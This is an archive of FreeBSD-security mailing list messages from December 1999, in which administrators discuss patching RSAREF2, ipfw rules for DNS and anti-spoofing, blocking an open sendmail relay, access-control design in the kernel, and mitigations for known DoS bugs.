Re: Security Advisory: Buffer overflow in RSAREF2 (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 2 Dec 1999, Todd Backman wrote: > Is there a FBSD advisory out on this and/or patch? > (If I missed it please forgive...) It's been patched: re-cvsup your ports and rebuild rsaref, followed by anything which depends on it (i.e. which statically links to librsaref.a - but easier and safer to just do all of the dependencies). Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 15:36:45 1999 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 5912D14A05; Thu, 2 Dec 1999 15:36:44 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 482B31CD627; Thu, 2 Dec 1999 15:36:44 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Thu, 2 Dec 1999 15:36:44 -0800 (PST) From: Kris Kennaway To: Todd Backman Cc: security@freebsd.org Subject: Re: Security Advisory: Buffer overflow in RSAREF2 (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 2 Dec 1999, Kris Kennaway wrote: > It's been patched: re-cvsup your ports and rebuild rsaref, followed by > anything which depends on it (i.e. which statically links to librsaref.a > - but easier and safer to just do all of the dependencies). I forgot to mention the easy way to get this list: cat /var/db/pkg/rsaref-2.0/+REQUIRED_BY before you rebuild. Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 15:45:15 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91]) by hub.freebsd.org (Postfix) with ESMTP id 0416414C38; Thu, 2 Dec 1999 15:45:09 -0800 (PST) (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id QAA20378; Thu, 2 Dec 1999 16:43:14 -0700 (MST) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id QAA08462; Thu, 2 Dec 1999 16:43:12 -0700 Date: Thu, 2 Dec 1999 16:43:12 -0700 Message-Id: <199912022343.QAA08462@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Adam Laurie Cc: "Rodney W. Grimes" , John Baldwin , freebsd-security@FreeBSD.ORG Subject: Re: rc.firewall revisited In-Reply-To: <3846FA12.F1480F19@algroup.co.uk> References: <199912021954.LAA74271@gndrsh.dnsmgr.net> <3846FA12.F1480F19@algroup.co.uk> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Reply-To: nate@mt.sri.com (Nate Williams) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > ipfw add X pass udp from any to ${dnsserver} 53 > > ipfw add X+1 pass udp from ${dnsserver} 53 to any > > ipfw add X+2 deny log udp from any to any 53 > > ipfw add X+3 dney log udp from any 53 to any > > This breaks one of the basic rules of firewalling... Trusting traffic > based on source address. To quote from the ipfw manual: > > Note that may be dangerous to filter on the source IP address or > source > TCP/UDP port because either or both could easily be spoofed. > > You've just let anyone that can spoof you DNS's source address onto any > UDP port. No he didn't, because you have spoofing rules in place *way* before these rules are in place. Now you're defending Rod who states that to have a good firewall, you need a lot more information about the internal network and services provided than can be produced generically. However, I think what you're proposing is better than what exists, so gofer it! Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 16:35:31 1999 Delivered-To: freebsd-security@freebsd.org Received: from astralblue.com (adsl-209-76-108-39.dsl.snfc21.pacbell.net [209.76.108.39]) by hub.freebsd.org (Postfix) with ESMTP id A349D15074; Thu, 2 Dec 1999 16:35:15 -0800 (PST) (envelope-from ab@astralblue.com) Received: from localhost (ab@localhost) by astralblue.com (8.9.3/8.9.3) with ESMTP id QAA41928; Thu, 2 Dec 1999 16:33:55 -0800 (PST) (envelope-from ab@astralblue.com) Date: Thu, 2 Dec 1999 16:33:55 -0800 (PST) From: "Eugene M. Kim" To: Steve Price Cc: Wes Peters , "Jung, Michael" , "'Steve Reid'" , "'Sheldon Hearn'" , "'Bill Swingle'" , "'security@FreeBSD.ORG'" , "'Jordan Hubbard'" Subject: Re: [btellier@USA.NET: Several FreeBSD-3.3 vulnerabilities] In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 2 Dec 1999, Steve Price wrote: | On Thu, 2 Dec 1999, Wes Peters wrote: | | # "Jung, Michael" wrote: | # > | # > Why not just have the PR system email the ORIGINATOR when | # > the PR is closed? | # | # It does. On the other hand, how can anyone else possibly know that the | # PR has been solved, other than the person who wrote the PR? | | A message is also mailed to the email address in the 'Responsible' | field. Since this is freebsd-bugs in many cases, simply subscribing | to the freebsd-bugs mailing list wouldn't hurt. If you know the Being one who once was subscribed to -bugs, I'd say it *could* hurt. Considering the number of messages posted there, I think it is rather an overkill for those who want to get notified of just one or two PRs they're interested in. | PR number then you can check it using your browser. | | http://www.freebsd.org/cgi/query-pr.cgi | | If you don't know the number, then you can use this and your browser | to search for it. | | http://www.freebsd.org/cgi/query-pr-summary.cgi?query I have no problem with these ways, but some sort of pushing methods (like e-mail) rather than pulling would definitely be desirable. Just my .02 wons (1 USD ~= 1100 KRW), Eugene -- Eugene M. Kim "Is your music unpopular? Make it popular; make music which people like, or make people who like your music." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 17:31: 4 1999 Delivered-To: freebsd-security@freebsd.org Received: from gandalf.mmasia.com (gandalf.mmasia.com [209.220.43.48]) by hub.freebsd.org (Postfix) with ESMTP id 61BFB14CB9 for ; Thu, 2 Dec 1999 17:31:01 -0800 (PST) (envelope-from lewc@mmasia.com) Received: from columbia (w062.z209220043.sjc-ca.dsl.cnc.net [209.220.43.62]) by gandalf.mmasia.com (8.8.5/8.8.5) with SMTP id WAA26043 for ; Thu, 2 Dec 1999 22:05:06 -0800 (PST) Message-Id: <199912030605.WAA26043@gandalf.mmasia.com> X-Sender: lewc@gandalf.mmasia.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Thu, 02 Dec 1999 17:27:35 +0000 To: security@freebsd.org From: lew chua Subject: Need help against spam Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org How do I limit the Ip address for sendmail to people on my lan? : Someone is using my free? I'm running 2.1.7. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Dec 2 17:58:50 1999 Delivered-To: freebsd-security@freebsd.org Received: from sand2.sentex.ca (sand2.sentex.ca [209.167.248.3]) by hub.freebsd.org (Postfix) with ESMTP id 331B414CF4 for ; Thu, 2 Dec 1999 17:58:46 -0800 (PST) (envelope-from mike@sentex.net) Received: from gravel (ospf-mdt.sentex.net [205.211.164.81]) by sand2.sentex.ca (8.8.8/8.8.8) with SMTP id UAA25550; Thu, 2 Dec 1999 20:58:19 -0500 (EST) (envelope-from mike@sentex.net) Message-Id: <4.1.19991202205116.043a38d0@granite.sentex.ca> X-Sender: mdtancsa@granite.sentex.ca X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Thu, 02 Dec 1999 20:57:43 -0500 To: lew chua , security@FreeBSD.ORG From: Mike Tancsa Subject: Re: Need help against spam In-Reply-To: <199912030605.WAA26043@gandalf.mmasia.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 12:27 PM 12/2/99 , lew chua wrote: >How do I limit the Ip address for sendmail to people on my lan? >: Someone is using my free? I'm running 2.1.7. ipfw is one way. e.g. ipfw add 200 allow tcp from to 25 ipfw add 210 deny tcp from any to 25 so if your lan network as 192.168.1.0/24 and the FreeBSD box was 192.168.1.119 ipfw add 200 allow tcp from 192.168.1.0/24 to 192.168.1.119 25 ipfw add 210 deny tcp from any to 192.168.1.119 25 However, if you want to fix your open relay, you really should a) upgrade to a current version of sendmail b) see http://maps.vix.com/tsi/ar-fix.html ---Mike ********************************************************************** Mike Tancsa * mike@sentex.net Sentex Communications Corp, * http://www.sentex.net/mike Cambridge, Ontario * 519 651 3400 Canada * To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 3 0:20:36 1999 Delivered-To: freebsd-security@freebsd.org Received: from fticom.dipt.donetsk.ua (fticom.dipt.donetsk.ua [194.44.136.12]) by hub.freebsd.org (Postfix) with ESMTP id AA92614D60 for ; Fri, 3 Dec 1999 00:20:30 -0800 (PST) (envelope-from ilya@ilya.dipt.donetsk.ua) Received: from ilya.pro (medic.dipt.donetsk.ua [194.44.136.23]) by fticom.dipt.donetsk.ua with SMTP id KAA07888; Fri, 3 Dec 1999 10:19:36 +0200 (EET) Date: Fri, 3 Dec 1999 10:24:27 +0200 From: Ilya X-Mailer: The Bat! (v1.33) UNREG / CD5BF9353B3B7091 Reply-To: Ilya Organization: Ftikom X-Priority: 3 (Normal) Message-ID: <16433.991203@ilya.dipt.donetsk.ua> To: freebsd-security@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org auth 12c05a09 subscribe freebsd-security ilya@ilya.dipt.donetsk.ua To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 3 0:30:36 1999 Delivered-To: freebsd-security@freebsd.org Received: from ints.ru (ints.ru [194.67.173.1]) by hub.freebsd.org (Postfix) with ESMTP id D567114D60 for ; Fri, 3 Dec 1999 00:30:23 -0800 (PST) (envelope-from ilmar@ints.ru) Received: (from uucp@localhost) by ints.ru (8.9.2/8.9.2) id LAA18613; Fri, 3 Dec 1999 11:29:59 +0300 (MSK) Received: from ws-ilmar.ints.ru(194.67.173.16) via SMTP by ints.ru, id smtpdP18611; Fri Dec 3 11:29:56 1999 Received: from localhost (localhost [127.0.0.1]) by ws-ilmar.ints.ru (8.9.3/8.9.3) with ESMTP id LAA72101; Fri, 3 Dec 1999 11:29:56 +0300 (MSK) Date: Fri, 3 Dec 1999 11:29:55 +0300 (MSK) From: "Ilmar S. Habibulin" To: Robert Watson Cc: freebsd-security@freebsd.org, posix1e@cyrus.watson.org Subject: Re: Reference monitor concept implementation In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 2 Dec 1999, Robert Watson wrote: > On Thu, 2 Dec 1999, Ilmar S. Habibulin wrote: > > > I do not know where is better to address this, maybe to -arch? > > While reading the description of WinNT security subsystem i noticed that > > something called Security Reference Monitor, which handles all access > > requests and grands or denys them. That is the thing Orange Book is > > talking about. > > I've run into this sort of problem in numerous places/contexts/etc. There > are problems with both localized and centralized security implementations. > Sticking the calls in the syscall code means they can't easily or > accidentally be bypassed, but denies your code access to the semantics of > the underlying storage structure (i.e., different file systems may offer > different services). Implementing in the fs itself means local fs Right now ALL local freebsd fs use 9bit DAC scheme. And there is no much difference in their process in different fs drivers. > semantics are allowed (witness different file semantics in various > distributed file systems), but leads to other problems. My answer with > ACLs was to expose the syntax of ACLs in the VFS, provide a default > implementation of the access control checks for file systems to use, but > allow file systems to locally overide. This means FFS w/ACLs will use the > generic POSIX.1e ACL behavior, but AFS can overide to get AFS ACL > semantics. The only bug with this right now is a sorting optimization for > submitting ACLs, and I have, and I'm working on that now. I think that you should implement posix acl in the library. And work out some unique and complete ACLs for fs, which will include not only rwx, but something like add, delete, admin, etc. Just look at other ACLs and compare them. So these new bsd fs acls would some sort of generic data, which must be suplied by the drivers and kernel would know how to process such data. > I'd be tempted to go the same route for MAC--expose the MAC syntax/etc in > the VFS, provide a default checking implementation that you hook existing > file systems to use, but allow a file system to use its own implementation > if it knows better (i.e., is also aware of global distributed MAC issues > on top of local ones). This swells the vnops a bit, but might work > better. You do lose the centralization of implementation a little, > although you can keep it where desired. I just do not understand how to do such a thing - centralized and decentralized control. Local and remote filesystems - it is another issue. It was somehow addressed by tsix, (c)ipso. > The nice thing about having fs access control checking implemented in the > fs itself is awareness of local semantics -- the syscall code can't know > everything it needs to know about the filestore semantics. On the other > hand, I greatly appreciate the desire to have a reference monitor as one > central place to audit :-). There would be much more easy to audit the code itself. > There was some discussion of doing capabilities in the style of the Java > 1.2 permissions -- i.e., a central access control mechanism with localized > definitions of capabilities. Might want to take a look into that. Where can i take a look at that - in jdk? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 3 3:44:34 1999 Delivered-To: freebsd-security@freebsd.org Received: from eastwood.aldigital.algroup.co.uk (eastwood.aldigital.algroup.co.uk [194.128.162.193]) by hub.freebsd.org (Postfix) with ESMTP id DA40615112; Fri, 3 Dec 1999 03:44:22 -0800 (PST) (envelope-from adam@algroup.co.uk) Received: from algroup.co.uk ([192.168.192.2]) by eastwood.aldigital.algroup.co.uk (8.8.8/8.6.12) with ESMTP id LAA08257; Fri, 3 Dec 1999 11:42:54 GMT Message-ID: <3847ACBE.3D66A556@algroup.co.uk> Date: Fri, 03 Dec 1999 11:42:54 +0000 From: Adam Laurie X-Mailer: Mozilla 4.7 [en-gb] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: Nate Williams Cc: "Rodney W. Grimes" , John Baldwin , freebsd-security@FreeBSD.ORG Subject: Re: rc.firewall revisited References: <199912021954.LAA74271@gndrsh.dnsmgr.net> <3846FA12.F1480F19@algroup.co.uk> <199912022343.QAA08462@mt.sri.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Nate Williams wrote: > > > > ipfw add X pass udp from any to ${dnsserver} 53 > > > ipfw add X+1 pass udp from ${dnsserver} 53 to any > > > ipfw add X+2 deny log udp from any to any 53 > > > ipfw add X+3 dney log udp from any 53 to any > > > > This breaks one of the basic rules of firewalling... Trusting traffic > > based on source address. To quote from the ipfw manual: > > > > Note that may be dangerous to filter on the source IP address or > > source > > TCP/UDP port because either or both could easily be spoofed. > > > > You've just let anyone that can spoof you DNS's source address onto any > > UDP port. > > No he didn't, because you have spoofing rules in place *way* before > these rules are in place. Now you're defending Rod who states that to > have a good firewall, you need a lot more information about the internal > network and services provided than can be produced generically. If only life were that simple. I assume the rule you're reffering to is: # Stop spoofing $fwcmd add deny all from ${inet}:${imask} to any in via ${oif} $fwcmd add deny all from ${onet}:${omask} to any in via ${iif} This simply stops traffic that's pretending to be your internal network coming in from the outside, and vice versa. It does not help with other networks being spoofed. > > However, I think what you're proposing is better than what exists, so > gofer it! Unfortunately I'm not in that position... I am merely suggesting some fixes to the powers that be... If I ever get in touch with the person that can actually make the changes, I have some further enhancements I'd like to offer (a new section for a single pc, and moving most of the variables like IP addresses out into rc.conf where they belong). The bottom line is that if you're going to provide out-of-box firewall rules, then they should be set up to protect the out-of-box configuration. That shouldn't be too hard. Obviously, if the user then starts adding their own services, they need to worry about their own rules a bit more. cheers, Adam -- Adam Laurie Tel: +44 (181) 742 0755 A.L. Digital Ltd. Fax: +44 (181) 742 5995 Voysey House Barley Mow Passage http://www.aldigital.co.uk London W4 4GB mailto:adam@algroup.co.uk UNITED KINGDOM PGP key on keyservers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 3 5:12:18 1999 Delivered-To: freebsd-security@freebsd.org Received: from eastwood.aldigital.algroup.co.uk (eastwood.aldigital.algroup.co.uk [194.128.162.193]) by hub.freebsd.org (Postfix) with ESMTP id B04031514E; Fri, 3 Dec 1999 05:12:14 -0800 (PST) (envelope-from adam@algroup.co.uk) Received: from algroup.co.uk ([192.168.192.2]) by eastwood.aldigital.algroup.co.uk (8.8.8/8.6.12) with ESMTP id NAA12178; Fri, 3 Dec 1999 13:08:25 GMT Message-ID: <3847C0CB.2E9774A@algroup.co.uk> Date: Fri, 03 Dec 1999 13:08:27 +0000 From: Adam Laurie X-Mailer: Mozilla 4.7 [en-gb] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: Nate Williams , "Rodney W. Grimes" , John Baldwin , freebsd-security@FreeBSD.ORG Subject: Re: rc.firewall revisited References: <199912021954.LAA74271@gndrsh.dnsmgr.net> <3846FA12.F1480F19@algroup.co.uk> <199912022343.QAA08462@mt.sri.com> <3847ACBE.3D66A556@algroup.co.uk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Adam Laurie wrote: > > Nate Williams wrote: > > > > > > ipfw add X pass udp from any to ${dnsserver} 53 > > > > ipfw add X+1 pass udp from ${dnsserver} 53 to any > > > > ipfw add X+2 deny log udp from any to any 53 > > > > ipfw add X+3 dney log udp from any 53 to any > > > > > > This breaks one of the basic rules of firewalling... Trusting traffic > > > based on source address. To quote from the ipfw manual: > > > > > > Note that may be dangerous to filter on the source IP address or > > > source > > > TCP/UDP port because either or both could easily be spoofed. > > > > > > You've just let anyone that can spoof you DNS's source address onto any > > > UDP port. And, of course, it also means you are wide open to attack from a compromised name server. I do not want to trust hosts. I want to trust specific connections to specific services. cheers, Adam -- Adam Laurie Tel: +44 (181) 742 0755 A.L. Digital Ltd. Fax: +44 (181) 742 5995 Voysey House Barley Mow Passage http://www.aldigital.co.uk London W4 4GB mailto:adam@algroup.co.uk UNITED KINGDOM PGP key on keyservers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 3 7:34: 3 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail.wzrd.com (mail.wzrd.com [206.99.165.3]) by hub.freebsd.org (Postfix) with ESMTP id 5D64614A1B for ; Fri, 3 Dec 1999 07:33:59 -0800 (PST) (envelope-from danh@wzrd.com) Received: by mail.wzrd.com (Postfix, from userid 91) id 5FB085D026; Fri, 3 Dec 1999 10:33:53 -0500 (EST) Subject: Re: Other outstanding vulnerabilities In-Reply-To: <3.0.5.32.19991202154308.01bc93c0@staff.sentex.ca> from Mike Tancsa at "Dec 2, 1999 3:43: 8 pm" To: mike@sentex.net (Mike Tancsa) Date: Fri, 3 Dec 1999 10:33:53 -0500 (EST) Cc: freebsd-security@freebsd.org X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1198 Message-Id: <19991203153353.5FB085D026@mail.wzrd.com> From: danh@wzrd.com (Dan Harnett) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello, It has been my experience that the setsockopt() DoS can be avoided by setting NMBCLUSTERS to a reasonably high level and setting a limit on the number of file descriptors that any given user can use (be it through the shell or through /etc/login.conf). I realize this is not a fix, but it seems to work until there is a fix available. Dan Harnett > > While on the topic of vulnerabilities etc, has there been any progress on > these two DoSes ? > > http://www.securityfocus.com/vdb/bottom.html?vid=622 > http://www.securityfocus.com/vdb/bottom.html?vid=526 > > they are the setsockopt() and mmap DoSes... There was talk of the mmap > being patched up in Current, but I havent seen anything official. Bugtraq > still lists all versions of FreeBSD vulnerable. > > ---Mike > ------------------------------------------------------------------------ > Mike Tancsa, tel +1 519 651 3400 > Network Administrator, mike@sentex.net > Sentex Communications www.sentex.net > Cambridge, Ontario Canada > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 3 8: 1:13 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91]) by hub.freebsd.org (Postfix) with ESMTP id 8DE35151A0; Fri, 3 Dec 1999 08:01:08 -0800 (PST) (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id JAA28217; Fri, 3 Dec 1999 09:00:36 -0700 (MST) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id JAA10966; Fri, 3 Dec 1999 09:00:35 -0700 Date: Fri, 3 Dec 1999 09:00:35 -0700 Message-Id: <199912031600.JAA10966@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Adam Laurie Cc: Nate Williams , "Rodney W. Grimes" , John Baldwin , freebsd-security@FreeBSD.ORG Subject: Re: rc.firewall revisited In-Reply-To: <3847ACBE.3D66A556@algroup.co.uk> References: <199912021954.LAA74271@gndrsh.dnsmgr.net> <3846FA12.F1480F19@algroup.co.uk> <199912022343.QAA08462@mt.sri.com> <3847ACBE.3D66A556@algroup.co.uk> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Reply-To: nate@mt.sri.com (Nate Williams) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > > > ipfw add X pass udp from any to ${dnsserver} 53 > > > > ipfw add X+1 pass udp from ${dnsserver} 53 to any > > > > ipfw add X+2 deny log udp from any to any 53 > > > > ipfw add X+3 dney log udp from any 53 to any > > > > > > This breaks one of the basic rules of firewalling... Trusting traffic > > > based on source address. To quote from the ipfw manual: > > > > > > Note that may be dangerous to filter on the source IP address or > > > source > > > TCP/UDP port because either or both could easily be spoofed. > > > > > > You've just let anyone that can spoof you DNS's source address onto any > > > UDP port. > > > > No he didn't, because you have spoofing rules in place *way* before > > these rules are in place. Now you're defending Rod who states that to > > have a good firewall, you need a lot more information about the internal > > network and services provided than can be produced generically. > > If only life were that simple. I assume the rule you're reffering to is: > > # Stop spoofing > $fwcmd add deny all from ${inet}:${imask} to any in via ${oif} > $fwcmd add deny all from ${onet}:${omask} to any in via ${iif} > > This simply stops traffic that's pretending to be your internal network > coming in from the outside, and vice versa. It does not help with other > networks being spoofed. True, but neither did the rules you (?) proposed previously. The rules Rod listed limited the packets to come/go *only* from the internal DNS server on the network, so in no way makes it any worse that what was proposed, and only makes it better. However, they require more knowledge of the external IP address of the box as well as the external interface, along with the internal IP addresses. > The bottom line is that if you're going to provide out-of-box firewall > rules, then they should be set up to protect the out-of-box > configuration. I don't believe you can do a great job of that, but we can do a better job than what we're currently doing. Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 3 8: 2:19 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91]) by hub.freebsd.org (Postfix) with ESMTP id 6E08A151A0; Fri, 3 Dec 1999 08:02:13 -0800 (PST) (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id JAA28229; Fri, 3 Dec 1999 09:01:22 -0700 (MST) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id JAA10973; Fri, 3 Dec 1999 09:01:21 -0700 Date: Fri, 3 Dec 1999 09:01:21 -0700 Message-Id: <199912031601.JAA10973@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Adam Laurie Cc: Nate Williams , "Rodney W. Grimes" , John Baldwin , freebsd-security@FreeBSD.ORG Subject: Re: rc.firewall revisited In-Reply-To: <3847C0CB.2E9774A@algroup.co.uk> References: <199912021954.LAA74271@gndrsh.dnsmgr.net> <3846FA12.F1480F19@algroup.co.uk> <199912022343.QAA08462@mt.sri.com> <3847ACBE.3D66A556@algroup.co.uk> <3847C0CB.2E9774A@algroup.co.uk> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Reply-To: nate@mt.sri.com (Nate Williams) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > > > > ipfw add X pass udp from any to ${dnsserver} 53 > > > > > ipfw add X+1 pass udp from ${dnsserver} 53 to any > > > > > ipfw add X+2 deny log udp from any to any 53 > > > > > ipfw add X+3 dney log udp from any 53 to any > > > > > > > > This breaks one of the basic rules of firewalling... Trusting traffic > > > > based on source address. To quote from the ipfw manual: > > > > > > > > Note that may be dangerous to filter on the source IP address or > > > > source > > > > TCP/UDP port because either or both could easily be spoofed. > > > > > > > > You've just let anyone that can spoof you DNS's source address onto any > > > > UDP port. > > And, of course, it also means you are wide open to attack from a > compromised name server. I do not want to trust hosts. I want to trust > specific connections to specific services. How do you propose to stop a compromised name server from giving out bogus information using a firewall rule? I'm curious... Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 3 8:50:37 1999 Delivered-To: freebsd-security@freebsd.org Received: from eastwood.aldigital.algroup.co.uk (eastwood.aldigital.algroup.co.uk [194.128.162.193]) by hub.freebsd.org (Postfix) with ESMTP id F18CA14FFD; Fri, 3 Dec 1999 08:50:24 -0800 (PST) (envelope-from adam@algroup.co.uk) Received: from algroup.co.uk ([192.168.192.2]) by eastwood.aldigital.algroup.co.uk (8.8.8/8.6.12) with ESMTP id QAA22293; Fri, 3 Dec 1999 16:48:56 GMT Message-ID: <3847F47B.834A27AE@algroup.co.uk> Date: Fri, 03 Dec 1999 16:48:59 +0000 From: Adam Laurie X-Mailer: Mozilla 4.7 [en-gb] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: Nate Williams Cc: "Rodney W. Grimes" , John Baldwin , freebsd-security@FreeBSD.ORG Subject: Re: rc.firewall revisited References: <199912021954.LAA74271@gndrsh.dnsmgr.net> <3846FA12.F1480F19@algroup.co.uk> <199912022343.QAA08462@mt.sri.com> <3847ACBE.3D66A556@algroup.co.uk> <199912031600.JAA10966@mt.sri.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Nate Williams wrote: > > > > > > ipfw add X pass udp from any to ${dnsserver} 53 > > > > > ipfw add X+1 pass udp from ${dnsserver} 53 to any > > > > > ipfw add X+2 deny log udp from any to any 53 > > > > > ipfw add X+3 dney log udp from any 53 to any > > > > > > > > This breaks one of the basic rules of firewalling... Trusting traffic > > > > based on source address. To quote from the ipfw manual: > > > > > > > > Note that may be dangerous to filter on the source IP address or > > > > source > > > > TCP/UDP port because either or both could easily be spoofed. > > > > > > > > You've just let anyone that can spoof you DNS's source address onto any > > > > UDP port. > > > > > > No he didn't, because you have spoofing rules in place *way* before > > > these rules are in place. Now you're defending Rod who states that to > > > have a good firewall, you need a lot more information about the internal > > > network and services provided than can be produced generically. > > > > If only life were that simple. I assume the rule you're reffering to is: > > > > # Stop spoofing > > $fwcmd add deny all from ${inet}:${imask} to any in via ${oif} > > $fwcmd add deny all from ${onet}:${omask} to any in via ${iif} > > > > This simply stops traffic that's pretending to be your internal network > > coming in from the outside, and vice versa. It does not help with other > > networks being spoofed. > > True, but neither did the rules you (?) proposed previously. The rules > Rod listed limited the packets to come/go *only* from the internal DNS > server on the network, so in no way makes it any worse that what was > proposed, and only makes it better. However, they require more > knowledge of the external IP address of the box as well as the external > interface, along with the internal IP addresses. I disagree. My rule blocks traffic to UDP ports that are required to be protected, regardless of where they come from. Rod's rules allow the name server to connect to ANY UDP port. That is the problem. > > > The bottom line is that if you're going to provide out-of-box firewall > > rules, then they should be set up to protect the out-of-box > > configuration. > > I don't believe you can do a great job of that, but we can do a better > job than what we're currently doing. Agreed. cheers, Adam -- Adam Laurie Tel: +44 (181) 742 0755 A.L. Digital Ltd. Fax: +44 (181) 742 5995 Voysey House Barley Mow Passage http://www.aldigital.co.uk London W4 4GB mailto:adam@algroup.co.uk UNITED KINGDOM PGP key on keyservers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Dec 3 8:55:43 1999 Delivered-To: freebsd-security@freebsd.org Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91]) by hub.freebsd.org (Postfix) with ESMTP id 45CF515032; Fri, 3 Dec 1999 08:55:39 -0800 (PST) (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id JAA28645; Fri, 3 Dec 1999 09:54:01 -0700 (MST) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id JAA11157; Fri, 3 Dec 1999 09:53:59 -0700 